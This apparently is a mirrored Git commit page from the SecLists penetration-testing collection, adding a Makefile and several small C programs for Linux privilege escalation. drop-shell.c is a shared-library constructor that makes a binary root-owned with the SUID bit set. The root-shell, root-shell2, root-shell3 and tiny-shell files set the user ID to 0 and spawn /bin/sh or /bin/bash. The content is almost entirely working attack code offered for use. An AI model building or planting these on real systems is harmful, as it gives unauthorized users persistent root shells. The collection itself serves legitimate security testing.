mirror of
https://github.com/danielmiessler/SecLists.git
synced 2024-08-15 13:50:35 +03:00
commit
16f5f35b95
21
Miscellaneous/source-code/c-linux/Makefile
Normal file
21
Miscellaneous/source-code/c-linux/Makefile
Normal file
@ -0,0 +1,21 @@
|
||||
# Using x64? $ sudo apt instlal -y libc6-dev-i386
|
||||
|
||||
all: x64 x86
|
||||
|
||||
create:
|
||||
mkdir -p bin/
|
||||
|
||||
x64: create
|
||||
gcc -m64 -static -o bin/root-shellx64 root-shell.c
|
||||
|
||||
x86: create
|
||||
gcc -m32 -static -o bin/root-shellx86 root-shell.c
|
||||
|
||||
strip:
|
||||
strip bin/*
|
||||
|
||||
result:
|
||||
file bin/*
|
||||
|
||||
clean:
|
||||
rm -rf bin/
|
16
Miscellaneous/source-code/c-linux/drop-shell.c
Normal file
16
Miscellaneous/source-code/c-linux/drop-shell.c
Normal file
@ -0,0 +1,16 @@
|
||||
// gcc -fPIC -shared -o drop-shell drop-shell.c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html
|
||||
__attribute__((__constructor__))
|
||||
|
||||
void dropshell(void) {
|
||||
// Set root user to be owner, and SUID permission
|
||||
chown("./root-shell", 0, 0);
|
||||
chmod("./root-shell", 04755);
|
||||
|
||||
// Feedback
|
||||
printf("[+] Done!\n");
|
||||
}
|
12
Miscellaneous/source-code/c-linux/root-shell.c
Normal file
12
Miscellaneous/source-code/c-linux/root-shell.c
Normal file
@ -0,0 +1,12 @@
|
||||
// $ gcc -static -o root-shell root-shell.c
|
||||
// $ chmod u+s root-shell
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(void) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("/bin/sh");
|
||||
return 0;
|
||||
}
|
10
Miscellaneous/source-code/c-linux/root-shell2.c
Normal file
10
Miscellaneous/source-code/c-linux/root-shell2.c
Normal file
@ -0,0 +1,10 @@
|
||||
// $ gcc -o root-shell2 root-shell2.c
|
||||
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
setuid(0);
|
||||
execl("/bin/bash", "bash", (char *)NULL);
|
||||
return 0;
|
||||
}
|
16
Miscellaneous/source-code/c-linux/root-shell3.c
Normal file
16
Miscellaneous/source-code/c-linux/root-shell3.c
Normal file
@ -0,0 +1,16 @@
|
||||
// $ gcc -static -o root-shell3 root-shell3.c
|
||||
// $ chmod u+s root-shell3
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(void) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
seteuid(0);
|
||||
setegid(0);
|
||||
|
||||
execvp("/bin/sh", NULL, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
2
Miscellaneous/source-code/c-linux/tiny-shell.c
Normal file
2
Miscellaneous/source-code/c-linux/tiny-shell.c
Normal file
@ -0,0 +1,2 @@
|
||||
// $ gcc tiny-shell.c
|
||||
int main(void){setresuid(0, 0, 0);system("/bin/sh");}
|
Loading…
Reference in New Issue
Block a user